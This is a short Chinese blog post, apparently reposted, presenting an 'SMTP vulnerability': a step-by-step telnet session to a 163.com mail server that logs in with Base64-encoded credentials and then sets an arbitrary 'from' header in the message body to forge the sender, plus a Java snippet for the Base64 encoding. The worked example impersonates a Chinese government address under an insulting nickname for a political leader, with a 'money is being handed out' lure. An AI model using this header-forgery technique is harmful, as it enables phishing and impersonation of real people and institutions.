Smtp邮件发送漏洞

来源:互联网 发布:ubuntu wine qq2014 编辑:程序博客网 时间:2024/06/15 00:56

在Linux上使用shell 登录自己的邮箱:

1、telnet smtp.163.com 25
2、ehlo  sas(此字符串随意)
3、auth login
4、U2htaWx5X*****=(usernameBase64转码)
5、MD***********yODUwbQ==(passwordBase64转码)
6、mail from:<Sh***@163.com>(此处必须和用户名相同,否则无法通过校验)
7、rcpt to:<960625@qq.com>
8、data
9、from:<XiJinPig@china.gov>(漏洞之处,此处的发件人可以任意指定)
     to:<960625@qq.com> 
     subject:发钱了
希望你们都成功,我已经交代过了。
.(.代表内容结束)
10、quit

----------------------------------------------------------------------------

Base64加密代码:

@Test
public void base64(){
String name = "";
String pwd = "";
BASE64Encoder en = new BASE64Encoder();
name = en.encode(name.getBytes());
pwd = en.encode(pwd.getBytes());
System.err.println(name);
System.err.println(pwd);
}


原创粉丝点击